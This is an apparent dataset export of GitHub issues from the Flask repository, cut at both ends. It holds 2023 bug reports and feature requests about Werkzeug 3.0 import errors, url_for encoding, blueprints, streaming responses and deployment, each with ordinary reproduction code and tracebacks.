app.register_blueprint(bp)

with app.test_request_context(""/bogus""):

    url = url_for('test.bogus', query=""bob smith"")
    print(url)
    assert url != ""/bogus?query=bob smith""


    url = url_for('test.bogus', query=""bob/smith"")
    print(url)
    assert url != ""/bogus?query=bob/smith""
```

```
$ python --version
Python 3.10.6
$ pip show flask
Name: Flask
Version: 3.0.0
Summary: A simple framework for building complex web applications.
Home-page: 
Author: 
Author-email: 
License: 
Location: /home/xxx/.pyenv/versions/3.10.6/envs/flask30/lib/python3.10/site-packages
Requires: blinker, click, itsdangerous, Jinja2, Werkzeug
Required-by: 
$ python test.py
/bogus?query=bob+smith
/bogus?query=bob/smith
Traceback (most recent call last):
  File ""/home/xxx/src/flaks30/test.py"", line 22, in <module>
    assert url != ""/bogus?query=bob/smith""
AssertionError
```

Expected that / would be percent encoded as specified in RFC3986
https://datatracker.ietf.org/doc/html/rfc3986#section-2.1

I believe this is a regression because I have a unit test that fails with this version of Flask but passed with earlier versions. 

Environment:

- Python version: 3.10.6
- Flask version: 3.0.0
",,2023-10-04T19:42:28Z,2023-10-04T22:35:02Z,1
pallets/flask,1926848772,"Flask setup.py should use ""Werkzeug ~= 2.2.2"" instead of ""Werkzeug >= 2.2.2""","The recent release of Werkzeug 3.x has affected the logic of Flask setup.py causing it to install an incompatible version of Werkzeug. A change to setup.py from `>=` to `~=` would  remedy the situation until the community can verify Flask 3.x is at a known stable release point.

Actual:

`pip install Flask==2.2.2` does not create a working install of Flask

Expected:

`pip install Flask==2.2.2` should create a working install of Flask

Environment:

- Python version: 3.11
- Flask version: 2.2.2
",,2023-10-04T19:32:24Z,2023-10-04T19:34:12Z,7
pallets/flask,1925370072,About Stream with context not work on IIS ,"On Local, I can make @stream_with_context work and generate a stream string to my mobile flutter app.
However when publish to IIS windows server in production, it does not work anymore, it return the whole string.

Is there a way to make it work in production with IIS?
",,2023-10-04T04:12:01Z,2023-10-04T04:21:06Z,0
pallets/flask,1924257889,Import error in Flask version 3.0.0,"After updating the flask version, I wanted to run my server as usual, but encountered the following message:

```
Traceback (most recent call last):
  File ""/Users/ft61dv/Desktop/Enablers/P05182-Asgard/server.py"", line 2, in <module>
    from flask_mysqldb import MySQL
  File ""/Users/ft61dv/Library/Python/3.12/lib/python/site-packages/flask_mysqldb/__init__.py"", line 3, in <module>
    from flask import _app_ctx_stack, current_app
ImportError: cannot import name '_app_ctx_stack' from 'flask' (/Library/Frameworks/Python.framework/Versions/3.12/lib/python3.12/site-packages/flask/__init__.py)
```

The application was working fine before this update. To get it to work again, I downgraded my flask version back to 2.3.3

Environment:

- Python version: 3.12.0
- Flask version: 3.0.0
",,2023-10-03T14:19:38Z,2023-10-03T14:22:01Z,1
pallets/flask,1923650362,work around for getting _request_ctx_stack.top,"<!--
This issue tracker is a tool to address bugs in Flask itself. Please use
Pallets Discord or Stack Overflow for questions about your own code.

Replace this comment with a clear outline of what the bug is.
-->

<!--
Describe how to replicate the bug.

Include a minimal reproducible example that demonstrates the bug.
Include the full traceback if there was an exception.
-->

<!--
Describe the expected behavior that should have happened but didn't.
-->

Environment:

- Python version: 3.11.5
- Flask version: 3.0.0

With the release of flask-3.0.0, _request_ctx_stack and _app_ctx_stack got remoevd. May I know whether it's possible to 
get _request_ctx_stack.top with the new version? any workaround and sample?

it's causing import error in downstream library (flask-track-usage) - https://github.com/ashcrow/flask-track-usage/issues/69

Thanks! 
",,2023-10-03T08:55:16Z,2023-10-03T08:56:58Z,3
pallets/flask,1923208232,Issue with Werkzeug bump,"
I have a few Flask applications running on Flask 2.3.2. On deployment today, the 2 apps went down. Error: 

 File ""/tmp/8dbc37810e69912/wsgi.py"", line 3, in <module>
2023-10-03T02:41:50.698042229Z     from application import create_app
2023-10-03T02:41:50.698045529Z   File ""/tmp/8dbc37810e69912/application/__init__.py"", line 8, in <module>
2023-10-03T02:41:50.698049029Z     from flask_login import login_required
2023-10-03T02:41:50.698052329Z   File ""/tmp/8dbc37810e69912/antenv/lib/python3.10/site-packages/flask_login/__init__.py"", line 12, in <module>
2023-10-03T02:41:50.698055829Z     from .login_manager import LoginManager
2023-10-03T02:41:50.698059729Z   File ""/tmp/8dbc37810e69912/antenv/lib/python3.10/site-packages/flask_login/login_manager.py"", line 33, in <module>
2023-10-03T02:41:50.698066830Z     from .utils import _create_identifier
2023-10-03T02:41:50.698070030Z   File ""/tmp/8dbc37810e69912/antenv/lib/python3.10/site-packages/flask_login/utils.py"", line 14, in <module>
2023-10-03T02:41:50.698073530Z     from werkzeug.urls import url_decode
2023-10-03T02:41:50.698076930Z ImportError: cannot import name 'url_decode' from 'werkzeug.urls'



I noticed that a few days ago werkzeug was bumped from 2.7.2 to 3.0.0

Pinning werkzeug back to 2.7.2 in my project resolves my issue. 



Environment:

- Python version: 3.10.0
- Flask version: 2.3.2
",,2023-10-03T03:17:10Z,2023-10-03T04:06:25Z,2
pallets/flask,1923014026,Got error using flak Flask==2.0.2,"<!--
This issue tracker is a tool to address bugs in Flask itself. Please use
Pallets Discord or Stack Overflow for questions about your own code.

Replace this comment with a clear outline of what the bug is.
-->

<!--
Describe how to replicate the bug.

Include a minimal reproducible example that demonstrates the bug.
Include the full traceback if there was an exception.
-->

<!--
-->

Environment: My application works fine previously, but after 2023/09/30, it deployed failed

- Python version: Python3
- Flask version:
- Flask==2.0.2
gunicorn==20.0.4
",,2023-10-02T23:51:27Z,2023-10-02T23:52:36Z,1
pallets/flask,1921377141,Pallets,"<!--
Replace this comment with a description of what the feature should do.
Include details such as links to relevant specs or previous discussions.
-->

<!--
Replace this comment with an example of the problem which this feature
would resolve. Is this problem solvable without changes to Flask, such
as by subclassing or using an extension?
-->",,2023-10-02T07:19:26Z,2023-10-02T07:32:34Z,0
pallets/flask,1920299143,"FYI, bad documentation link","I was looking at the github release page, which links to https://flask.palletsprojects.com/en/3.0.x/changes/#version-3-0-0

This page gives me a page not found error.",,2023-09-30T15:29:18Z,2023-09-30T16:16:32Z,1
pallets/flask,1919998868,When was 'Blueprint.before_app_first_request' deprecated and what replaces it?,"I have resumed work on a Flask 1.x-based project after some time has passed, and sorting through deprecations and removals that have happened in the interim. The first place I got stuck was the `@bp.before_app_first_request` decorator.

Except to note that <q>`app.before_first_request` and `bp.before_app_first_request` decorators are removed</q> in 2.3.0, [the changelog](https://flask.palletsprojects.com/en/2.3.x/changes/#version-2-3-0) doesn't mention when these were deprecated, why, or what replaced them.

Perusing previous versions of the docs, I discover that `Blueprint.before_app_first_request` was deprecated in 2.2, with this note:

> Deprecated since version 2.2: Will be removed in Flask 2.3. Run setup code when creating the application instead.

Something in my gut tells me that I'm going to be writing a kind of hook handler that will iterate through all the blueprints to run their ""before first request"" initialization routines. Effectively, an amateurish reimplementation of what `Blueprint.before_app_first_request` already did.

That leaves me wondering about the context for this deprecation. Can someone enlighten me as to why it was removed?

_To be clear, I intend to document whatever workaround I come up with (for the benefit of others in this situation) and close this issue myself. I'm not asking for tech support or ""homework help"" from the Flask maintainers, or to resurrect the feature from the grave. `:)`_
",,2023-09-29T23:06:44Z,2023-09-29T23:22:18Z,1
pallets/flask,1911559474,Flask subdomain parameter doesn't work at version 2.3.3,"Bug:

Since Flask version 2.3.3 the subdomain parameter when defining a new route doesn't work only with blueprint.

Include a minimal reproducible example that demonstrates the bug:

An example route which will return 404 Not Found even it should:

```
from flask import Flask

app = Flask(__name__, template_folder='templates', static_folder='static')


@app.route('/logout', subdomain='panel', methods=['POST', 'GET'])
def logout():

    return ""ok""


if __name__ == '__main__':
    app.run(host=""0.0.0.0"", port=80, threaded=True, debug=True)
```

Describe the expected behavior that should have happened but didn't:
Normally when using the subdomain parameter when defining a new route, the route would've work on that specified subdomain.
With the 2.3.3 version this is only works with Flask Blueprint, the downside of this is that I cannot define multiple subdomains.

Environment:

- Python version: 3.10.12
- Flask version: 2.3.3
",,2023-09-25T13:50:36Z,2023-09-26T19:00:52Z,1
pallets/flask,1909946543,Bug in Flask docs,"Hi, flask seems very well done.  The docs are well organized, with quick links to other sections.

However there's one bug I have encountered in the docs.  Specifically [this page](https://flask.palletsprojects.com/en/2.3.x/) has the following content:

> Welcome to Flask’s documentation. Get started with [Installation](https://flask.palletsprojects.com/en/2.3.x/installation/) and then get an overview with the [Quickstart](https://flask.palletsprojects.com/en/2.3.x/quickstart/). 

Beautiful, prominent links to install and quick start.

> There is also a more detailed [Tutorial](https://flask.palletsprojects.com/en/2.3.x/tutorial/) that shows how to create a small but complete application with Flask. Common patterns are described in the [Patterns for Flask](https://flask.palletsprojects.com/en/2.3.x/patterns/) section. The rest of the docs describe each component of Flask in detail, with a full reference in the [API](https://flask.palletsprojects.com/en/2.3.x/api/) section.

Tutorial, patterns, reference API.  Fantastic!

> Flask depends on the [Werkzeug](https://werkzeug.palletsprojects.com/) WSGI toolkit, the [Jinja](https://jinja.palletsprojects.com/) template engine, and the [Click](https://click.palletsprojects.com/) CLI toolkit. Be sure to check their documentation as well as Flask’s when looking for information.

A bit off the rails with minutia here, we can recover...

> ## User’s Guide
> Flask provides configuration and conventions, with sensible defa... [TRUNCATED]",docs,2023-09-23T17:38:26Z,2023-10-06T23:37:43Z,6
pallets/flask,1905430209,Blueprints and import into gunicorn.conf.py results in gunicorn reload bug,"This is a very interesting bug.

When using Blueprints with flask, and importing something into gunicorn.conf.py from the same top level module in which the flask application resides, Gunicorn's --reload functionality breaks. Specifically, the reloading functionality appears to work- gunicorn informs us that the application has been reloaded; but the run time code is actually cached, and the application in effect does not reload.

This bug is an issue because it makes development inconvenient, and it is time consuming to isolate.

This bug cannot be replicated if: 
 * you don't use blueprints, 
 * or if you use blueprints but do not import into gunicorn.conf.py from a module that exists inside the application module
 * or if you use blueprints, and lazy import into gunicorn.conf.py

The reason I believe this is a flask bug, instead of a gunicorn bug, is that this bug only exists when using blueprints. 

I've replicated this on Python 3.11.5, Flask 2.3.3 and 2.0.0, Gunicorn 21.2.0 and 21.0.0, and RHEL and Ubuntu.


# Docker
I've uploaded a [repo](https://github.com/mkmoisen/blueprintbug/tree/master) with a Dockerfile and docker-compose.yaml that can be used to quickly reproduce the bug. The application runs on port 8080.

```
git clone https://github.com/mkmoisen/blueprintbug.git
docker compose up --build
```


# Directory Structure
```
blueprintbug/
    app/
        __init__.py
    gunicorn.conf.py
    requirements.txt
```

# blueprintbug/app... [TRUNCATED]",,2023-09-20T17:24:02Z,2023-09-20T17:41:38Z,0
pallets/flask,1902936239,TypeError: Flask.url_for() got multiple values for argument 'self',"[Official documentation](https://flask.palletsprojects.com/en/2.3.x/api/#flask.url_for) doesn't mention any preconditions for values argument, but `self=1` raises an exception.

Can be replicated with the following test case:

```python
from unittest import TestCase

from flask import Flask, url_for


class UrlForTests(TestCase):
    def setUp(self) -> None:
        self.app = Flask(__name__)

    def test_with_self_argument(self) -> None:
        with (
            self.app.app_context(),
            self.assertRaisesRegex(
                TypeError, ""got multiple values for argument 'self'""
            ),
        ):
            url_for(""doesnotmatter"", self=1)
```

Traceback example:

```
Traceback (most recent call last):
  File ""/home/dmitry/git/github.com/minetest/contentdb/tests.py"", line 6, in <module>
    url_for(""doesnotmatter"", self=1)
  File ""/home/dmitry/.cache/pypoetry/virtualenvs/contentdb-MK2UWkId-py3.10/lib/python3.10/site-packages/flask/helpers.py"", line 256, in url_for
    return current_app.url_for(
TypeError: Flask.url_for() got multiple values for argument 'self'
```

The expected behavior is the returned URL has query string like '?self=1'.

Environment:

- Python version: 3.10.6
- Flask version: 2.3.3
",,2023-09-19T13:03:46Z,2023-09-30T14:25:32Z,2
pallets/flask,1897450561,"AsyncToSync error with Flask Async, Gunicorn and Gevent","When using the Async options for Flask, running an application with an asynchronous teardown_request function, using Gunicorn with Gevent as the WSGI server, there is a race condition where a lot of simultaneous requests results in the error ""You cannot use AsyncToSync in the same thread as an async event loop - just await the async function directly."".

I've [attached a reproduction](https://github.com/pallets/flask/files/12614087/reproduction.zip). To reproduce the bug:

* Unzip the zip to a directory.
* Install the requirements using `pip install -r requirements.txt`.
* Run the application using `gunicorn -b 0.0.0.0:8080 app:app --worker-class=gevent -w 2 --threads 2`.
* In another shell, run `./lots-of-curls.sh`.

The stack trace I see is

```
Traceback (most recent call last):
  File ""/home/sam/.pyenv/versions/3.9.7/envs/flask-test-3.9.7/lib/python3.9/site-packages/gunicorn/workers/base_async.py"", line 55, in handle
    self.handle_request(listener_name, req, client, addr)
  File ""/home/sam/.pyenv/versions/3.9.7/envs/flask-test-3.9.7/lib/python3.9/site-packages/gunicorn/workers/ggevent.py"", line 128, in handle_request
    super().handle_request(listener_name, req, sock, addr)
  File ""/home/sam/.pyenv/versions/3.9.7/envs/flask-test-3.9.7/lib/python3.9/site-packages/gunicorn/workers/base_async.py"", line 108, in handle_request
    respiter = self.wsgi(environ, resp.start_response)
  File ""/home/sam/.pyenv/versions/3.9.7/envs/flask-test-3.9.7/lib/python3.9... [TRUNCATED]",,2023-09-14T22:48:39Z,2023-09-14T23:15:08Z,1
pallets/flask,1896660256,Add passthrough_errors to flask run options,"I'm building an API using Flask, and have an `@app.errorhandler(HTTPException)` to catch all HTTPExceptions in order to format them as JSON. This is working great via `flask run`, but when I add the `--debug` flag to get auto-reloading, the Werkzeug default error handler catches exceptions before my error handler has a chance to respond with JSON.

I noticed the `passthrough_errors` option to `werkzeug.run_simple()`, and when I run my app via a simple script, the error handler works as I'd expect, along with the reloader:

```
from my_app import create_app
from werkzeug import run_simple

app = create_app()
run_simple(""0.0.0.0"", 8170, app, use_reloader=True, use_debugger=False, passthrough_errors=True, threaded=True)
```

Therefore, it would be helpful if we could add something like `--passthrough-errors` to the `flask run` CLI command. Alternately, let me know if there's another recommended way to use `flask run --debug` but disable the Werkzeug default error handler page. Thanks!
",,2023-09-14T14:09:00Z,2023-09-14T14:13:33Z,1
pallets/flask,1892985107,Problems with using flask as dependency for other libraries,"Hello!

I started writing a library whose tasks include starting and stopping the flask server. I have added flask to the [list of dependencies](https://github.com/pomponchik/flask_fixture/blob/d2a640407b611a8b72dfcb1c9f71aabef890d449/setup.py#L7) of this library. 

When installing my library on macOS, I see the [following](https://github.com/pomponchik/flask_fixture/actions/runs/6162817875/job/16725168014#step:4:157):

```
Installed /Users/runner/hostedtoolcache/Python/3.9.18/x64/lib/python3.9/site-packages/zipp-3.16.2-py3.9.egg
Searching for MarkupSafe>=2.1.1
Reading https://pypi.org/simple/MarkupSafe/
Downloading https://files.pythonhosted.org/packages/6d/7c/59a3248f411813f8ccba92a55feaac4bf360d29e2ff05ee7d8e1ef2d7dbf/MarkupSafe-2.1.3.tar.gz#sha256=af598ed32d6ae86f1b747b82783958b1a4ab8f617b06fe68795c7f026abbdcad
Best match: MarkupSafe 2.1.3
Processing MarkupSafe-2.1.3.tar.gz
Writing /var/folders/24/8k48jl6d249_n_qfxwsl6xvm0000gn/T/easy_install-rho3rw1f/MarkupSafe-2.1.3/setup.cfg
Running MarkupSafe-2.1.3/setup.py -q bdist_egg --dist-dir /var/folders/24/8k48jl6d249_n_qfxwsl6xvm0000gn/T/easy_install-rho3rw1f/MarkupSafe-2.1.3/egg-dist-tmp-hjznlbbi
no previously-included directories found matching 'docs/_build'
warning: no previously-included files matching '*.pyc' found anywhere in distribution
zip_safe flag not set; analyzing archive contents...
markupsafe.__pycache__._speedups.cpython-39: module references __file__
No eggs found in /var/folders/24/8k48jl6d... [TRUNCATED]",,2023-09-12T17:43:00Z,2023-09-12T17:51:11Z,2
pallets/flask,1892167865,"when use copy_current_request_context and ThreadPoolExecutor, I got error.","I want to use the main thread's request context in the sub-thread. So I use the decorator copy_current_request_context. But I got an error that **<Token var=<ContextVar name='flask.request_ctx' at 0x1067aef90> at 0x106c71280> was created in a different Context**. 

**The weirdest thing is when I debug the code one by one, I will get the expected results sometimes.**

This is a simple code. 

```
import random
import string
import requests

from flask import Flask, copy_current_request_context
from concurrent.futures import ThreadPoolExecutor

app = Flask(__name__)

def get_trace_id(number):
    trace_id =  """".join(random.sample(string.ascii_letters, number))
    print(requests.get(""https://www.google.com"").text)
    return trace_id


@app.route(""/"")
def hello():
    @copy_current_request_context
    def inner_func(number):
        return get_trace_id(number)

    with ThreadPoolExecutor(20) as executor:
        res_iter = executor.map(inner_func, [1, 2, 3, 4, 5])
    return list(res_iter)


if __name__ == '__main__':
    app.run()
```


Environment:

- Python version: 3.8.17
- Flask version: 2.3.3
",,2023-09-12T10:16:00Z,2023-09-12T17:52:30Z,0
pallets/flask,1878938274,SO_REUSEADDR set server,"There needs to give users to set app listening socket to be SO_REUSEADDR, so that an unexpected server failure does not block immediate restart due to ""Address already in use"". 
",,2023-09-03T05:12:12Z,2023-09-03T14:00:03Z,1
pallets/flask,1874920589,NameError: name 'Response' is not defined,"I have a view like this:
```
@pydantic.validate_arguments(config={""arbitrary_types_allowed"": True})
def my_view(
)-> flask.typing.ResponseReturnValue:
    ...
```

This view is failing during tests:
```
    @pd.validate_arguments(config={""arbitrary_types_allowed"": True})
pydantic/decorator.py:36: in pydantic.decorator.validate_arguments.validate
    ???
pydantic/decorator.py:78: in pydantic.decorator.ValidatedFunction.__init__
    ???
pydantic/typing.py:78: in pydantic.typing.get_all_type_hints
    ???
/nix/store/yk7nrvvz4hjgzzlhr3mg8wl2hn56h187-python3-3.11.4/lib/python3.11/typing.py:2373: in get_type_hints
    hints[name] = _eval_type(value, globalns, localns)
/nix/store/yk7nrvvz4hjgzzlhr3mg8wl2hn56h187-python3-3.11.4/lib/python3.11/typing.py:371: in _eval_type
    return t._evaluate(globalns, localns, recursive_guard)
/nix/store/yk7nrvvz4hjgzzlhr3mg8wl2hn56h187-python3-3.11.4/lib/python3.11/typing.py:882: in _evaluate
    self.__forward_value__ = _eval_type(
/nix/store/yk7nrvvz4hjgzzlhr3mg8wl2hn56h187-python3-3.11.4/lib/python3.11/typing.py:385: in _eval_type
    ev_args = tuple(_eval_type(a, globalns, localns, recursive_guard) for a in t.__args__)
/nix/store/yk7nrvvz4hjgzzlhr3mg8wl2hn56h187-python3-3.11.4/lib/python3.11/typing.py:385: in <genexpr>
    ev_args = tuple(_eval_type(a, globalns, localns, recursive_guard) for a in t.__args__)
/nix/store/yk7nrvvz4hjgzzlhr3mg8wl2hn56h187-python3-3.11.4/lib/python3.11/typing.py:371: in _eval_type
    re... [TRUNCATED]",,2023-08-31T07:11:47Z,2023-08-31T07:47:24Z,4
pallets/flask,1873041081,Jinja2 Templating render_block to support HTMX,"Hi! I would like to suggest adding a `render_block` function to [templating.py](https://github.com/pallets/flask/blob/main/src/flask/templating.py) to support rendering a defined Jinja2 template block. This would work like:

```html
<body>
    <h1>This is a header</h1>
    {% block content %}
    <p>This is the magic number: {{ magic_number }}.</p>
    {% endblock %}
</body>
```

```python
from flask import Flask, render_template, render_block

app = Flask(__name__)

@app.get(""/full_page"")
def full_page():
    return render_template(""page.html.jinja2"", magic_number=42)

@app.get(""/only_content"")
def only_content():
    return render_block(""page.html.jinja2"", ""content"", magic_number=42)
```

The purpose of this change is to support HTMX-style templates where you are returning partial HTML pages in Flask responses. Flask-native way to accomplish this is with multiple files (page.html and partial.html) and render_template('partial.html').

I then discovered [jinja2-fragment](https://github.com/sponsfreixes/jinja2-fragments#usage-with-flask) which has a Flask function that simplifies this by adding the above-suggested functionality as a separate library (albeit small).

But this change is pretty small - one function - and so I would suggest upstreaming it here into Flask itself since I think this would offer a clear and simple solution to a common issue when working with HTMX. I'm happy to work on the PR if this issue is accepted.

This functionalit... [TRUNCATED]",,2023-08-30T06:55:13Z,2023-08-30T14:02:24Z,1
pallets/flask,1870793541,Separated frontend and backend,"Hi,
According to flask documentation, now flask combines frontend and backend together by using jinja2 template, then how to separate them so as to customize the frontend UI using vue or other tools ?
Could you recommend some estensions or flask skills ?",,2023-08-29T02:55:48Z,2023-08-29T03:00:08Z,1
pallets/flask,1870349315,"cannot install `dependencies = [ ""flask>=2.3.2"", ]` in toml file ","This is happening in google colab environment. Causes:

```
ERROR: Cannot uninstall 'blinker'. It is a distutils installed project and thus we cannot accurately determine which files belong to it which would lead to only a partial uninstall.
```

This is my toml file: https://github.com/anarchy-ai/LLM-VM/blob/main/pyproject.toml",,2023-08-28T19:33:31Z,2023-08-28T19:35:34Z,1
pallets/flask,1868515183,Boolean return value should result in JSON response,"Currently only dicts and lists are converted to JSON responses. However, it is also quite common for APIs to return a boolean scalar. For now this will result in an exception and if one wants to do this, they have to use `jsonify`.

I think allowing boolean return value to be converted into JSON responses is therefore a nice QoL improvement. And because it is currently prohibited, there is no backwards incompatible change.

```python
@app.get(""/test-registration-state"")
def registration_state():
    return quart.json.jsonify(some_check()) # old
    return some_check() # new
```",,2023-08-27T08:57:49Z,2023-08-27T14:29:44Z,1
pallets/flask,1863511414,Documentation inconsistency,"The tutorial file flaskr/blog.py does not check if the body is empty, but the body must be not null according to flaskr/schema.sql.

The following methods in flaskr/blog.py and their respective views are affected by this:
- create
- update

To replicate, create a blog post with an empty body.

The expected behavior shouldn't let the user create the post with an empty body.

I vision two possible solutions:
- Add verification for an empty body in necessary parts of the code.
- Let the body be NULL in the flaskr/schema.sql.

Environment: Ubuntu 20.04.6 LTS

- Python version: 3.8.10
- Flask version: 2.3.2
",,2023-08-23T14:58:22Z,2023-08-24T17:36:43Z,1
pallets/flask,1860775053,Wrong request's 'Host' Header Value Due to Duplicate Server Names in' X-Forwarded-Server' Header,"When you send a request to a Flask server through Apache using a reverse proxy and include the X-Forwarded-Server header with values like ""servername1, servername1"", a problem occurs. On the Flask server's side, when trying to read the request headers, the 'Host' header appears incorrect, showing the value as ""servername1, servername1"" instead of the expected ""servername1"". The issue is that the X-Forwarded-Server header value is affecting the Host value, even though these headers should be separate. This situation is likely to happen when multiple reverse proxies are used in Apache before reaching the Flask server.

For example, if you examine the Apache configurations below, the Flask server listens on port 9966 and can be accessed via ""restV2"". This setup leads to duplicate server names in the X-Forwarded-Server header.


Apache Configurations:

```
<Location /restInternal>
    ProxyPass http://127.0.0.1:9966 retry=1 Keepalive=On timeout=300
    ProxyPassReverse http://127.0.0.1:9966
</Location>

<Location /restV2>
    ProxyPass http://127.0.0.1/restInternal retry=1 Keepalive=On timeout=300
    ProxyPassReverse http://127.0.0.1:restInternal
</Location>
```

This issue arises due to the interaction between Apache, the reverse proxy, and the Flask server

Environment:

- Python version: 3.6.8
- Flask version: 2.3.2
- Apache version: 2.4.6
",,2023-08-22T07:19:34Z,2023-08-22T08:33:51Z,1
pallets/flask,1859691966,deprecate `__version__`,"The `__version__` attribute is an old pattern from early in Python packaging. Setuptools eventually made it easier to use the pattern by allowing reading the value from the attribute at build time, and some other build backends have done the same.

However, there's no reason to expose this directly in code anymore. It's usually easier to use feature detection (`hasattr`, `try/except`) instead. `importlib.metadata.version(""werkzeug"")` can be used to get the version at runtime in a standard way, if it's really needed.",,2023-08-21T16:02:50Z,2023-08-29T13:10:00Z,4
pallets/flask,1851291885,flask out of memory,"1. use Flask create an app in manage.py and register blueprint.
2. In back_controller, ping_test return a simple dict and memory_test show memory usage with pyhon gc module.
3. In test_interface, for loop request multiple times, and memory out happed. 

- [structure](https://i.stack.imgur.com/1JL5T.png) 
- [manage.py](https://i.stack.imgur.com/s85oI.png) 
- [common.py](https://i.stack.imgur.com/wHDNz.png) 
- [back_controller.py](https://i.stack.imgur.com/9Ef5A.png) 
- [test_interface.py](https://i.stack.imgur.com/opOnc.png) 
- [first memory usage detail](https://i.stack.imgur.com/EUOqr.png) 
- [last memory usage detail](https://i.stack.imgur.com/cNieJ.png) 
- [pip list](https://i.stack.imgur.com/SepEx.png)",,2023-08-15T11:36:34Z,2023-08-15T11:39:03Z,1
pallets/flask,1851031872,flask debug (auto reload) feature not working,"
the issue when i create docker container for the app with dockerfile
ENTRYPOINT [ ""python3"", ""-m"", ""flask"", ""run"", ""--debug"", ""--host=0.0.0.0""]
everything works fine but when i change anything in the code i don't see anything change if i wanna see the changes
i have to rebuild the container

note: i am using correct volume
and when i exec the container i can see the changes in the file


![hsdf](https://github.com/pallets/flask/assets/129284063/962ffd93-f077-45ce-837b-ef05d48f6ced)


Environment:

- Python version: 3.10
- Flask version: 2.2.3
",,2023-08-15T07:43:57Z,2023-08-15T07:45:31Z,0
pallets/flask,1848524238,Resource leaking in http-stream-request,"If I stop a stream request before it's finished, the stream function will never finish, without any exception or warning.
So, if I want to release something (such as threading.Lock) in the end of the function, I will never be able to release it.

Here's an example.

```
# flask server
import time
from flask import *


def stream():
    print(""acquire something"")
    for i in range(5):
        yield str(i)
        time.sleep(1)
    print(""release something"")


app = Flask(__name__)


@app.route(""/"")
def _():
    return Response(stream())


if __name__ == '__main__':
    app.run(""0.0.0.0"", 45678)
```

when I request it and stop it early (for example, I'm timeout)

```
>>> curl http://localhost:45678 --max-time 2
01curl: (28) Operation timed out after 2002 milliseconds with 2 bytes received
```

then, the function stream() will never stopped, here's the log.

```
acquire something
127.0.0.1 - - [13/Aug/2023 18:17:01] ""GET / HTTP/1.1"" 200 -
```

I wish, flask will do like one of these:

* throw a ResourceWarning when the request has stopped
* run stream() to the end, whatever the request stop or not
* if stream() is an AsyncIterator(Coroutine), send an Exception into it when the request has stopped

Environment:

- Python version: 3.9
- Flask version: 2.2.3
",,2023-08-13T10:18:08Z,2023-08-13T19:21:56Z,3
pallets/flask,1839485879,Application Dispatching Docs Reference Removed `werkzeug` Function,"<!--
This issue tracker is a tool to address bugs in Flask itself. Please use
Pallets Discord or Stack Overflow for questions about your own code.

Replace this comment with a clear outline of what the bug is.
-->

The [""Dispatch by Path"" section of app dispatching docs](https://github.com/pallets/flask/blob/main/docs/patterns/appdispatch.rst#dispatch-by-path) reference now-removed functions, `werkzeug.wsgi.peek_path_info` and `werkzeug.wsgi.pop_path_info`.

These functions were [deprecated in Werkzeug 2.2.0](https://github.com/pallets/werkzeug/pull/2461) and [removed in Werkzeug 2.3.0](https://github.com/pallets/werkzeug/pull/2592).

Using the documented example as-is produces `ImportError`s.

Since Flask 2.3 requires Werkzeug 2.3.6 or later, the documentation contain an example that works with Werkzeug's updated API. 

<!--
Describe how to replicate the bug.

Include a minimal reproducible example that demonstrates the bug.
Include the full traceback if there was an exception.
-->

<!--
Describe the expected behavior that should have happened but didn't.
-->

Environment:

- Python version: 3.9
- Flask version: 2.3.2
",docs,2023-08-07T13:42:07Z,2023-08-16T21:29:49Z,3
pallets/flask,1817709169,After initialization/before run hook,"I'm writing a Flask extension with non trivial setup and the need to do consistency checks before allowing it to run.
I have not found a hook/signal which would tell me that Flask is ready to run, before any request has arrived, so that I could plug these checks. Such a hook would be appreciated. Waiting for the first request is too late to report a configuration error.",,2023-07-24T06:11:24Z,2023-07-24T12:47:45Z,11
pallets/flask,1809042577,Non-string anchors no longer work,"Passing non-string values to `url_for` no longer works. For example,

```py
url_for('my_endpoint', _anchor=5)
```

It now fails with `TypeError: quote_from_bytes() expected bytes`.",,2023-07-18T04:08:54Z,2023-07-18T13:29:03Z,4
pallets/flask,1807302965,Give possibility to change the MAX_FORM_PARTS of werkzeug,"## Adding  MAX_FORM_PARTS to the config of flask
This feature allows for the customization of the maximum number of form parts when reading a request. The max_form_parts parameter has been introduced in Werkzeug version 2.2.3 - https://github.com/pallets/werkzeug/blob/4048509fb24196df67f944a24aaa4ce1afcba92f/src/werkzeug/wrappers/request.py#L90.


Real use case: Apache Superset uses Flask-AppBuilder for editing user roles in the application. Currently, when there are roles with 1000+ users, the editing process fails with a 413 error due to the max_form_parts limit, which cannot be changed in the current version of Flask.",,2023-07-17T08:56:26Z,2023-07-17T08:59:23Z,1
pallets/flask,1806635860,Wrong Behavior in Blueprints,"<!--
This issue tracker is a tool to address bugs in Flask itself. Please use
Pallets Discord or Stack Overflow for questions about your own code.

Replace this comment with a clear outline of what the bug is.
-->
When the `import_name` of my blueprint is set to `__name__`, if the name of my python file is different from that of the upper-level folder, other loaded blueprints will become invalid.

just like it:
![image](https://github.com/pallets/flask/assets/63963655/25a5757c-a264-492e-9576-02111f7e74c6)


<!--
Describe how to replicate the bug.

Include a minimal reproducible example that demonstrates the bug.
Include the full traceback if there was an exception.
-->
```py
from flask import Flask
from gevent import pywsgi
import logging
import os
import importlib


class Server:
    def __init__(self):
        self.app = Flask(__name__, static_folder='./RKR', static_url_path='/')
        ...

    def start(self, debug: bool, port: int):
        if debug:
            logging.info(""DEBUG IS TRUE.Using Flask.App.Run ."")
            self.app.run(host='0.0.0.0', debug=True, port=port)
        else:
            logging.info(""Using WSGI ."")
            server = pywsgi.WSGIServer(('0.0.0.0', port), self.app)
            server.serve_forever()

    def load_blueprint(self):
        liss = list()
        modules = {}
        directory = "".\\src\\pages""
        lis = list()
        for root, dirs, files in os.walk(directory):
            f... [TRUNCATED]",,2023-07-16T16:10:08Z,2023-07-16T16:19:22Z,1
pallets/flask,1806358806,class-based endpoints do not accept positional arguments,"There are some Flask extensions that have decorators that inject positional arguments into decorated view functions. The one that comes to mind is [webargs](https://webargs.readthedocs.io/en/latest/), in particular its [use_args](https://webargs.readthedocs.io/en/latest/framework_support.html#decorator-usage) decorator. Here is an example based on their documentation:

```python
from flask import Flask
from webargs import fields
from webargs.flaskparser import use_args

app = Flask(__name__)

@app.route(""/user/<int:uid>"")
@use_args({""per_page"": fields.Int()}, location=""query"")
def user_detail(args, uid):
    return (""The user page for user {uid}, showing {per_page} posts."").format(
        uid=uid, per_page=args[""per_page""]
    )
```

This is how the endpoint is invoked using `curl`:

```bash
$ curl -X GET http://localhost:5000/user/1\?per_page=20
The user page for user 1, showing 20 posts.%
```

After adapting this example to a `MethodView`, this is what we end up with:

```python
from flask import Flask
from flask.views import MethodView
from webargs import fields
from webargs.flaskparser import use_args

app = Flask(__name__)

class UserEndpoint(MethodView):
    decorators = [use_args({""per_page"": fields.Int()}, location=""query"")]

